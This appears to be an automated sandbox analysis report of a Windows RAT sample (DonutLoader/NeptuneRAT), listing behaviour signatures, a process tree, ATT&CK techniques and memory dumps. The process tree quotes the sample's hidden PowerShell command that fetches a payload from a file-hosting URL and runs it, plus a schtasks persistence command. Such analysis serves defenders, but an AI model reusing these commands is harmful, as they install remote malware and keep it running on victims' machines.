Analysis
- user interaction
yes - max time kernel
296s - max time network
300s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
- submitted
05/05/2026, 16:46
General
- Target MasonMySql.exe
- Size 85KB
- Sample260505-vaaahafx4l
- SHA256 da23b9aa136983e637c907eb89903b39ebd517e0dec2c04d7e418fa85945e7c4
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects DonutLoader 2 IoCs
- Detects NeptuneRAT stealer 2 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 7 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 21 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{59340456-41c9-42d2-8768-39dd5a8a637e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f66741fa-76f9-4fb9-92f8-916971ee0c69 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-72102861-b022-4f50-babb-ad1bac6fb612 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-94864659-2d9e-4b1c-8e2a-6256365a7c9a -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a91f53b5-1f34-4f90-9862-15ed9694985f -LifetimeId:d84f674f-ecaa-4b29-bd06-8c3ccccff891 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\MasonMySql.exe"C:\Users\Admin\AppData\Local\Temp\MasonMySql.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonKit.com"C:\Users\Admin\AppData\Local\Temp\MasonKit.com"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonR.bat"C:\Users\Admin\AppData\Local\Temp\MasonR.bat"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonMySql" /tr "C:\Users\Admin\AppData\Roaming\MasonMySql.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Users\Admin\AppData\Roaming\MasonMySql.exeC:\Users\Admin\AppData\Roaming\MasonMySql.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe fd2f3468e20f2534d301780dbc0f2f69 nPwgoKTg4EuOSDtBRRyKLA.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
MasonMySql.exe.log
MasonKit.com
MasonR.bat
__PSScriptPolicyTest_tu55ss3m.is3.ps1
MasonMySql.exe
Preferred
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
memory/396-92-0x0000000002F00000-0x0000000002F08000-memory.dmp
memory/396-91-0x0000000002DC0000-0x0000000002DCC000-memory.dmp
memory/616-55-0x000001A1C9FF0000-0x000001A1CA1AB000-memory.dmp
memory/616-56-0x000001A1C9FF0000-0x000001A1CA1AB000-memory.dmp
memory/616-57-0x000001A1C9FF0000-0x000001A1CA1AB000-memory.dmp
memory/616-58-0x000001A1C9FF0000-0x000001A1CA1AB000-memory.dmp
memory/616-59-0x000001A1C9FF0000-0x000001A1CA1AB000-memory.dmp
memory/616-60-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/616-54-0x000001A1C9EB0000-0x000001A1C9FEE000-memory.dmp
memory/672-64-0x0000020BFDD40000-0x0000020BFDEFB000-memory.dmp
memory/672-65-0x0000020BFDD40000-0x0000020BFDEFB000-memory.dmp
memory/672-63-0x0000020BFDD40000-0x0000020BFDEFB000-memory.dmp
memory/672-66-0x0000020BFDD40000-0x0000020BFDEFB000-memory.dmp
memory/672-67-0x0000020BFDD40000-0x0000020BFDEFB000-memory.dmp
memory/672-68-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/688-113-0x000001CA87740000-0x000001CA878FB000-memory.dmp
memory/688-117-0x000001CA87740000-0x000001CA878FB000-memory.dmp
memory/688-114-0x000001CA87740000-0x000001CA878FB000-memory.dmp
memory/688-115-0x000001CA87740000-0x000001CA878FB000-memory.dmp
memory/688-116-0x000001CA87740000-0x000001CA878FB000-memory.dmp
memory/688-118-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/752-111-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/752-110-0x0000029C0BE00000-0x0000029C0BFBB000-memory.dmp
memory/752-109-0x0000029C0BE00000-0x0000029C0BFBB000-memory.dmp
memory/752-108-0x0000029C0BE00000-0x0000029C0BFBB000-memory.dmp
memory/752-107-0x0000029C0BE00000-0x0000029C0BFBB000-memory.dmp
memory/752-106-0x0000029C0BE00000-0x0000029C0BFBB000-memory.dmp
memory/880-81-0x0000021B47820000-0x0000021B479DB000-memory.dmp
memory/880-84-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/880-83-0x0000021B47820000-0x0000021B479DB000-memory.dmp
memory/880-82-0x0000021B47820000-0x0000021B479DB000-memory.dmp
memory/880-80-0x0000021B47820000-0x0000021B479DB000-memory.dmp
memory/880-79-0x0000021B47820000-0x0000021B479DB000-memory.dmp
memory/1004-122-0x000001CEBE340000-0x000001CEBE4FB000-memory.dmp
memory/1004-120-0x000001CEBE340000-0x000001CEBE4FB000-memory.dmp
memory/1004-123-0x000001CEBE340000-0x000001CEBE4FB000-memory.dmp
memory/1004-121-0x000001CEBE340000-0x000001CEBE4FB000-memory.dmp
memory/1004-124-0x000001CEBE340000-0x000001CEBE4FB000-memory.dmp
memory/1004-125-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/1008-77-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/1008-76-0x0000025359EE0000-0x000002535A09B000-memory.dmp
memory/1008-75-0x0000025359EE0000-0x000002535A09B000-memory.dmp
memory/1008-74-0x0000025359EE0000-0x000002535A09B000-memory.dmp
memory/1008-73-0x0000025359EE0000-0x000002535A09B000-memory.dmp
memory/1008-72-0x0000025359EE0000-0x000002535A09B000-memory.dmp
memory/1028-127-0x000001B108000000-0x000001B1081BB000-memory.dmp
memory/1152-104-0x00007FFBB5550000-0x00007FFBB5560000-memory.dmp
memory/1152-103-0x000001D0CB5A0000-0x000001D0CB75B000-memory.dmp
memory/1152-102-0x000001D0CB5A0000-0x000001D0CB75B000-memory.dmp
memory/1152-101-0x000001D0CB5A0000-0x000001D0CB75B000-memory.dmp
memory/1152-100-0x000001D0CB5A0000-0x000001D0CB75B000-memory.dmp
memory/1152-99-0x000001D0CB5A0000-0x000001D0CB75B000-memory.dmp
memory/1164-47-0x0000000140000000-0x00000001401A1000-memory.dmp
memory/1164-45-0x0000000140000000-0x00000001401A1000-memory.dmp
memory/1164-51-0x0000000140000000-0x00000001401A1000-memory.dmp
memory/1164-49-0x00007FFBF35B0000-0x00007FFBF366D000-memory.dmp
memory/1164-48-0x00007FFBF54D0000-0x00007FFBF56C8000-memory.dmp
memory/4068-44-0x00007FFBF35B0000-0x00007FFBF366D000-memory.dmp
memory/4068-42-0x00007FFBF54D0000-0x00007FFBF56C8000-memory.dmp
memory/4068-40-0x00000231D34C0000-0x00000231D355A000-memory.dmp
memory/4068-50-0x00000231D38F0000-0x00000231D38F8000-memory.dmp
memory/4384-7-0x000001EB98650000-0x000001EB98660000-memory.dmp
memory/4384-28-0x000001EB80410000-0x000001EB8041C000-memory.dmp
memory/4384-15-0x000001EC00000000-0x000001EC00022000-memory.dmp
memory/4384-16-0x000001EB98650000-0x000001EB98660000-memory.dmp
memory/4384-29-0x000001EB985D0000-0x000001EB985D8000-memory.dmp
memory/4584-764-0x0000000003070000-0x0000000003082000-memory.dmp
memory/5076-27-0x0000000000C50000-0x0000000000CEE000-memory.dmp
memory/5076-30-0x000000001B830000-0x000000001B8C8000-memory.dmp
memory/5076-43-0x0000000001380000-0x000000000138C000-memory.dmp
memory/5988-562-0x000000001B210000-0x000000001B220000-memory.dmp
memory/5988-358-0x000000001B210000-0x000000001B220000-memory.dmp
memory/5988-6-0x000000001B210000-0x000000001B220000-memory.dmp
memory/5988-1-0x0000000000BC0000-0x0000000000BD5000-memory.dmp
memory/5988-5-0x000000001B210000-0x000000001B220000-memory.dmp
memory/5988-4-0x0000000000C20000-0x0000000000C32000-memory.dmp
memory/5988-3-0x000000001B210000-0x000000001B220000-memory.dmp
memory/5988-0-0x0000000000410000-0x000000000042C000-memory.dmp
memory/5988-563-0x000000001B210000-0x000000001B220000-memory.dmp